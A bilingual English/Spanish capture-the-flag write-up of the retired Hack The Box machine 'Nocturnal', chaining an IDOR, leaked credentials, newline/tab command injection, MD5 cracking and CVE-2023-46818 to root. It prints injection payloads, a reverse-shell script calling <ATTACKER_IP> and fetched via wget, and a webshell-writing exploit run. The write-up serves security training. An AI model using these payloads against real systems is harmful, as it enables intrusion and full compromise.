Nocturnal
Executive summary — Nocturnal is an Easy Linux box with a long, very realistic chain, a great example of how a "minor" web bug ends in full compromise. An IDOR in
view.phplets us enumerate users and read other accounts' files with zero authorisation checks; from one ofamanda's.odtdocuments we extract her password and reach the admin panel. There, an incomplete character filter in the backup function —it blocks; & | $and the space, but not the newline (%0a) or the tab (%09)— lets us inject commands and get a shell aswww-data. A local SQLite database exposestobias' MD5 hash; after cracking it we find he reuses the same password on ISPConfig, a panel that only listens on127.0.0.1:8080. With those credentials we exploit CVE-2023-46818 (PHP code injection in the language editor) to get a root shell. Path: IDOR → leaked credentials → command injection → SQLite → password reuse → CVE-2023-46818 → root.
| Platform | Hack The Box |
| Operating system | Linux |
| Difficulty | Easy |
| Status | Retired |
| Target IP | 10.10.11.64 |
Attack map
[80] nocturnal.htb → register + upload a file → view.php?username=&file= pattern
│ IDOR in view.php → enumerate users and read others' files
▼
[amanda] leaked privacy.odt → her password → admin.php panel
▼
[SHELL] backup with an incomplete filter (misses %0a/%09) → command injection → www-data
│ local SQLite → tobias' MD5 hash → cracked → su tobias (user.txt)
▼
[pivot] tobias' password reused → SSH tunnel → ISPConfig on 127.0.0.1:8080
▼
[ROOT] CVE-2023-46818 (ISPConfig code injection) (root.txt)
1. Reconnaissance
Before touching anything we enumerate services, and as soon as we see the site redirects to a domain, we resolve it locally so we see exactly what the server sees.
nmap -p- --min-rate 10000 10.10.11.64
22/tcp open ssh
80/tcp open http
nmap -p22,80 -sCV 10.10.11.64
Relevant results: OpenSSH 8.2p1, nginx 1.18.0, and a redirect to http://nocturnal.htb/. We add the host and check it loads:
echo "10.10.11.64 nocturnal.htb" | sudo tee -a /etc/hosts
curl -I http://nocturnal.htb
The site is a PHP-based file storage/sharing app. A feroxbuster run confirms some interesting paths:
feroxbuster -u http://nocturnal.htb -x php
/admin.php
/dashboard.php
/view.php
/backups/
/uploads* (blocked)
Resumen ejecutivo — Nocturnal es un Linux Easy con una cadena larga y muy realista, ideal para ver como una vulnerabilidad web "menor" termina en compromiso total. Una IDOR en
view.phppermite enumerar usuarios y leer ficheros ajenos sin ninguna comprobacion de autorizacion; de un documento.odtdeamandaextraemos su contraseña y llegamos al panel de administracion. Alli, un filtro de caracteres incompleto en la funcion de backup —bloquea; & | $y el espacio, pero no el salto de linea (%0a) ni el tabulador (%09)— permite inyectar comandos y obtener shell comowww-data. Una base SQLite local expone el hash MD5 detobias; tras crackearlo descubrimos que reutiliza la misma contraseña en ISPConfig, un panel que solo escucha en127.0.0.1:8080. Con esas credenciales explotamos CVE-2023-46818 (inyeccion de codigo PHP en el editor de idiomas) para obtener una shell como root. Recorrido IDOR → fuga de credenciales → command injection → SQLite → reutilizacion de contraseña → CVE-2023-46818 → root.
| Plataforma | Hack The Box |
| Sistema operativo | Linux |
| Dificultad | Easy |
| Estado | Retired |
| IP objetivo | 10.10.11.64 |
Mapa del ataque
[80] nocturnal.htb → registro + subida de fichero → patron view.php?username=&file=
│ IDOR en view.php → enumerar usuarios y leer ficheros ajenos
▼
[amanda] privacy.odt filtrado → su contraseña → panel admin.php
▼
[SHELL] backup con filtro incompleto (no bloquea %0a/%09) → command injection → www-data
│ SQLite local → hash MD5 de tobias → crackeado → su tobias (user.txt)
▼
[pivote] password de tobias reutilizada → tunel SSH → ISPConfig en 127.0.0.1:8080
▼
[ROOT] CVE-2023-46818 (inyeccion de codigo en ISPConfig) (root.txt)
1. Reconocimiento
Antes de tocar nada enumeramos servicios y, en cuanto vemos que la web redirige a un dominio, lo resolvemos localmente: asi vemos exactamente lo que ve el servidor.
nmap -p- --min-rate 10000 10.10.11.64
22/tcp open ssh
80/tcp open http
nmap -p22,80 -sCV 10.10.11.64
Resultado relevante: OpenSSH 8.2p1, nginx 1.18.0 y una redireccion a http://nocturnal.htb/. Añadimos el host y comprobamos:
echo "10.10.11.64 nocturnal.htb" | sudo tee -a /etc/hosts
curl -I http://nocturnal.htb
La web es un almacenamiento/compartición de ficheros en PHP. Un feroxbuster confirma rutas interesantes:
feroxbuster -u http://nocturnal.htb -x php
/admin.php
/dashboard.php
/view.php
/backups/
/uploads* (bloqueado)
2. Registration and finding the IDOR in view.php
To see how the app handles files we need our own account. We register at
/register.php, upload a test file from the dashboard, and look at the URL it generates for the download: that pattern is the key to the whole box.
echo "test" > test.doc # test file to upload from the dashboard
GET /view.php?username=robert&file=test.doc HTTP/1.1
Host: nocturnal.htb
Cookie: PHPSESSID=...
We send that request to Burp Repeater and play with the username parameter. The app responds differently depending on the case, and that's the bug: it trusts the parameter without checking the requested file belongs to the logged-in user. That's an IDOR (Insecure Direct Object Reference).
# username that doesn't exist:
User not found
# username that exists (with or without that file) → lists ALL of their files:
File does not exist
With that response difference we enumerate valid users with ffuf:
ffuf -u "http://nocturnal.htb/view.php?username=FUZZ&file=test.doc" \
-w /usr/share/seclists/Usernames/Names/names.txt \
-b "PHPSESSID=<SESSION_COOKIE>" \
-fr "User not found"
admin
amanda
tobias
3. Leaked credentials — amanda's privacy.odt
The IDOR doesn't just enumerate users: asking for their files by name,
view.phplets us list and download them without owning them. Inamanda's account there's a suspiciously named document.
http://nocturnal.htb/view.php?username=amanda&file=test.doc # lists her files
curl 'http://nocturnal.htb/view.php?username=amanda&file=privacy.odt' -o privacy.odt
A .odt file is just a ZIP with XML inside, so we extract it instead of opening it in LibreOffice:
unzip privacy.odt
cat content.xml
The document contains amanda's password in plaintext: arHkG7HAI68X8s1J. With amanda / arHkG7HAI68X8s1J we log into /login.php and, unlike our test account, amanda has access to the admin panel (admin.php).
4. Command injection in the backup → shell as www-data
The admin panel generates password-protected backups. The code (visible after compromise) concatenates that password directly into a shell command:
$command = "zip -x './backups/*' -r -P " . $password . " " . $backupFile . " . > " . $logFile . " 2>&1 &";
proc_open($command, ...);
The app filters ; & | $ and the space, but not the newline (%0a) or the tab (%09), which in bash separate commands and arguments just as well. We test with an id in the intercepted backup request's password field:
password=test%0abash%09-c%09"id"&backup=
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Command execution confirmed. We spin up an HTTP server and a listener, and make the target download and run a reverse-shell script:
cat > rev.sh << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1
EOF
chmod +x rev.sh
python3 -m http.server 8000
nc -lvnp 4444 # in another terminal
password=test%0abash%09-c%09"wget%09http://<ATTACKER_IP>:8000/rev.sh%09-O%09/tmp/r.sh"%0abash%09/tmp/r.sh&backup=
The HTTP server logs the request for rev.sh and the listener catches the connection: shell as www-data.
5. Post-exploitation — SQLite → tobias (user.txt)
As
www-datawe enumerate the box. Among the accounts with an interactive shell areroot,tobias,ispapps, andispconfig—that last one already hints at an ISPConfig install. Inside/var/www, next to the site itself, there's a local database:
cd /var/www
ls
html
ispconfig
nocturnal.htb
nocturnal_database
php-fcgi-scripts
cd nocturnal_database
sqlite3 nocturnal_database.db
.tables
select * from users;
1|admin|d725aeba143f575736b07e045d8ceebb
2|amanda|df8b20aa0c935023f99ea58358fb63c4
4|tobias|55c82b1ccd55ab219b3b109b07d5061d
6|kavi|f38cde1654b39fea2bd4f72f1ae4cdda
7|e0Al5|101ad4543a96a7fd84908fd0d802e7db
8|robert|81dc9bdb52d04dc20036dbd8313ed055
These are unsalted MD5 hashes, trivial to crack (CrackStation, hashcat -m 0 against rockyou.txt...). tobias' hash (55c82b1ccd55ab219b3b109b07d5061d) cracks to slowmotionapocalypse:
su tobias # password: slowmotionapocalypse
whoami # tobias
cd /home/tobias && cat user.txt
6. Pivoting to ISPConfig over an SSH tunnel
As
tobiaswe check internal ports: there's a service listening only on loopback, invisible from outside the box.
netstat -tnl
127.0.0.1:8080 shows up in LISTEN. To reach it we tunnel that port over SSH from our Kali box (not from the target's shell):
ssh -L 9001:127.0.0.1:8080 tobias@nocturnal.htb # password: slowmotionapocalypse
Opening http://127.0.0.1:9001 in the browser shows the ISPConfig panel. We try tobias' reused password, and it logs in:
username: admin
password: slowmotionapocalypse
7. Privilege escalation — CVE-2023-46818
Doing this by hand in Burp is tedious (expiring CSRF tokens, internal paths of the language editor...), so we use the public PoC for CVE-2023-46818: a PHP code injection in ISPConfig's language editor that, with admin credentials, writes a webshell and runs commands. Since ISPConfig runs with very high privileges, the resulting shell is
root.
git clone https://github.com/ajdumanhug/CVE-2023-46818.git
cd CVE-2023-46818
pip install requests
python3 CVE-2023-46818.py http://127.0.0.1:9001 admin slowmotionapocalypse
[+] Logging in with username 'admin' and password 'slowmotionapocalypse'
[+] Login successful!
[+] Fetching CSRF tokens...
[+] CSRF ID: ...
[+] CSRF Key: ...
[+] Injecting shell payload...
[+] Shell written to: http://127.0.0.1:9001/admin/sh.php
[+] Launching shell...
ispconfig-shell#
id
# uid=0(root) gid=0(root) groups=0(root)
cat /root/root.txt
Optionally, this exploit shell can be used to drop a public SSH key into /root/.ssh/authorized_keys for a more comfortable, stable root SSH session afterwards. System fully compromised. 🏴☠️
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Info | view.php | IDOR (username parameter not authorisation-checked) | Enumerate users and read others' files |
| Info | privacy.odt (amanda) | Plaintext credential inside a document | amanda's valid password → admin panel |
| RCE | Admin panel / backup | Command injection (incomplete blacklist: misses %0a/%09) | Shell as www-data |
| Lateral | Local SQLite database | Unsalted MD5 hashes stored in the clear | tobias' hash → cracked password |
| Lateral | Credential reuse | tobias' password also valid for SSH and ISPConfig admin | Access to the ISPConfig panel |
| PrivEsc | ISPConfig | CVE-2023-46818 (PHP code injection in the language editor) | Root |
Lessons learned
- IDOR: always check authorisation, not just authentication, before serving a resource identified by a user-controlled parameter.
- Character blacklists can almost always be bypassed: here they filtered
; & | $and the space but forgot the newline and the tab. Use whitelists, or better, avoid building shell commands from user input. - Don't store passwords in plaintext inside documents, and don't reuse the same password across the OS, the database, and third-party admin panels.
- Unsalted MD5 hashes crack in seconds: use bcrypt, scrypt, or argon2 for credentials.
- Keep admin panels patched: CVE-2023-46818 allows RCE as root on ISPConfig with just admin credentials; update to the fixed version.
2. Registro y descubrimiento de la IDOR en view.php
Para ver como la app maneja los ficheros hace falta una cuenta propia. Creamos un usuario en
/register.php, subimos un fichero de prueba desde el dashboard y observamos la URL que genera la descarga: ese patron es la clave de toda la maquina.
echo "test" > test.doc # fichero de prueba a subir desde el dashboard
GET /view.php?username=robert&file=test.doc HTTP/1.1
Host: nocturnal.htb
Cookie: PHPSESSID=...
Mandamos esa peticion a Burp Repeater y jugamos con el parametro username. La aplicacion responde distinto segun el caso, y ahi esta el fallo: confia en el parametro sin comprobar que el fichero pedido sea del usuario autenticado. Eso es una IDOR (Insecure Direct Object Reference).
# usuario que no existe:
User not found
# usuario que existe (con o sin ese fichero) → lista TODOS sus ficheros:
File does not exist
Con esa diferencia de respuesta enumeramos usuarios validos con ffuf:
ffuf -u "http://nocturnal.htb/view.php?username=FUZZ&file=test.doc" \
-w /usr/share/seclists/Usernames/Names/names.txt \
-b "PHPSESSID=<SESSION_COOKIE>" \
-fr "User not found"
admin
amanda
tobias
3. Fuga de credenciales — privacy.odt de amanda
La IDOR no solo enumera usuarios: al pedir sus ficheros por nombre,
view.phpnos deja listarlos y descargarlos sin ser su dueño. En la cuenta deamandaaparece un documento con nombre sospechoso.
http://nocturnal.htb/view.php?username=amanda&file=test.doc # lista sus ficheros
curl 'http://nocturnal.htb/view.php?username=amanda&file=privacy.odt' -o privacy.odt
Un .odt es un ZIP con XML dentro; extraemos el contenido en vez de abrirlo con LibreOffice:
unzip privacy.odt
cat content.xml
El documento contiene la contraseña de amanda en texto plano: arHkG7HAI68X8s1J. Con amanda / arHkG7HAI68X8s1J entramos en /login.php y, a diferencia de nuestro usuario de prueba, amanda tiene acceso al panel de administracion (admin.php).
4. Command injection en el backup → shell como www-data
El panel admin genera backups protegidos por contraseña. El codigo (visible tras el compromiso) concatena esa contraseña directamente en un comando de shell:
$command = "zip -x './backups/*' -r -P " . $password . " " . $backupFile . " . > " . $logFile . " 2>&1 &";
proc_open($command, ...);
La aplicacion filtra ; & | $ y el espacio, pero no filtra el salto de linea (%0a) ni el tabulador (%09), que en bash separan comandos y argumentos igual de bien. Probamos con un id en el campo password de la peticion de backup interceptada en Burp:
password=test%0abash%09-c%09"id"&backup=
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Confirmada la ejecucion de comandos, montamos un servidor HTTP y un listener, y forzamos a la victima a descargar y lanzar un script de reverse shell:
cat > rev.sh << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1
EOF
chmod +x rev.sh
python3 -m http.server 8000
nc -lvnp 4444 # en otra terminal
password=test%0abash%09-c%09"wget%09http://<ATTACKER_IP>:8000/rev.sh%09-O%09/tmp/r.sh"%0abash%09/tmp/r.sh&backup=
El servidor HTTP recibe la peticion del rev.sh y el listener recibe la conexion: shell como www-data.
5. Post-explotacion — SQLite → tobias (user.txt)
Como
www-dataenumeramos el sistema. Entre las cuentas con shell interactiva aparecenroot,tobias,ispappseispconfig—esta ultima ya apunta a que hay un ISPConfig instalado. En/var/wwwhay, ademas del sitio, una base de datos local:
cd /var/www
ls
html
ispconfig
nocturnal.htb
nocturnal_database
php-fcgi-scripts
cd nocturnal_database
sqlite3 nocturnal_database.db
.tables
select * from users;
1|admin|d725aeba143f575736b07e045d8ceebb
2|amanda|df8b20aa0c935023f99ea58358fb63c4
4|tobias|55c82b1ccd55ab219b3b109b07d5061d
6|kavi|f38cde1654b39fea2bd4f72f1ae4cdda
7|e0Al5|101ad4543a96a7fd84908fd0d802e7db
8|robert|81dc9bdb52d04dc20036dbd8313ed055
Son hashes MD5 sin salt, triviales de crackear (CrackStation, hashcat -m 0 contra rockyou.txt...). El de tobias (55c82b1ccd55ab219b3b109b07d5061d) resuelve a slowmotionapocalypse:
su tobias # password: slowmotionapocalypse
whoami # tobias
cd /home/tobias && cat user.txt
6. Pivote a ISPConfig por tunel SSH
Con
tobiasrevisamos los puertos internos: hay un servicio escuchando solo en loopback, invisible desde fuera de la maquina.
netstat -tnl
Aparece 127.0.0.1:8080 en LISTEN. Para llegar hasta el, tunelizamos ese puerto por SSH desde nuestro Kali (no desde la shell de la victima):
ssh -L 9001:127.0.0.1:8080 tobias@nocturnal.htb # password: slowmotionapocalypse
Abriendo http://127.0.0.1:9001 en el navegador aparece el panel de ISPConfig. Probamos la contraseña de tobias reutilizada, y entra:
usuario: admin
contraseña: slowmotionapocalypse
7. Escalada a root — CVE-2023-46818
Hacerlo a mano con Burp es tedioso (tokens CSRF que caducan, rutas internas del editor de idiomas...), asi que usamos el PoC publico de CVE-2023-46818: una inyeccion de codigo PHP en el editor de idiomas de ISPConfig que, con credenciales de admin, escribe una webshell y ejecuta comandos. Como ISPConfig corre con privilegios muy altos, la shell resultante es
root.
git clone https://github.com/ajdumanhug/CVE-2023-46818.git
cd CVE-2023-46818
pip install requests
python3 CVE-2023-46818.py http://127.0.0.1:9001 admin slowmotionapocalypse
[+] Logging in with username 'admin' and password 'slowmotionapocalypse'
[+] Login successful!
[+] Fetching CSRF tokens...
[+] CSRF ID: ...
[+] CSRF Key: ...
[+] Injecting shell payload...
[+] Shell written to: http://127.0.0.1:9001/admin/sh.php
[+] Launching shell...
ispconfig-shell#
id
# uid=0(root) gid=0(root) groups=0(root)
cat /root/root.txt
Opcionalmente, esta shell del exploit puede usarse para dejar una clave publica SSH en /root/.ssh/authorized_keys y entrar despues por SSH como root de forma mas comoda y estable. Sistema comprometido por completo. 🏴☠️
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Info | view.php | IDOR (parametro username sin comprobar autorizacion) | Enumerar usuarios y leer ficheros ajenos |
| Info | privacy.odt (amanda) | Credencial en texto plano dentro de un documento | Contraseña valida de amanda → panel admin |
| RCE | Panel admin / backup | Command injection (blacklist incompleta: no filtra %0a/%09) | Shell como www-data |
| Lateral | Base SQLite local | Hashes MD5 sin salt almacenados en claro | Hash de tobias → contraseña crackeada |
| Lateral | Reutilizacion de credenciales | Password de tobias valida tambien en SSH e ISPConfig admin | Acceso al panel ISPConfig |
| PrivEsc | ISPConfig | CVE-2023-46818 (inyeccion de codigo PHP en el editor de idiomas) | Root |
Lecciones aprendidas
- IDOR: comprueba siempre la autorizacion, no solo la autenticacion, antes de servir un recurso identificado por un parametro controlado por el usuario.
- Las blacklists de caracteres casi siempre se pueden saltar: aqui filtraban
; & | $y el espacio pero olvidaron el salto de linea y el tabulador. Usa listas blancas o, mejor, evita construir comandos de shell con entrada de usuario. - No guardes contraseñas en texto plano dentro de documentos, y no reutilices la misma contraseña entre el sistema operativo, la base de datos y paneles de administracion de terceros.
- Los hashes MD5 sin salt se crackean en segundos: usa bcrypt, scrypt o argon2 para credenciales.
- Mantén parcheados los paneles de administracion: CVE-2023-46818 permite RCE como root en ISPConfig con solo credenciales de admin; actualiza a la version corregida.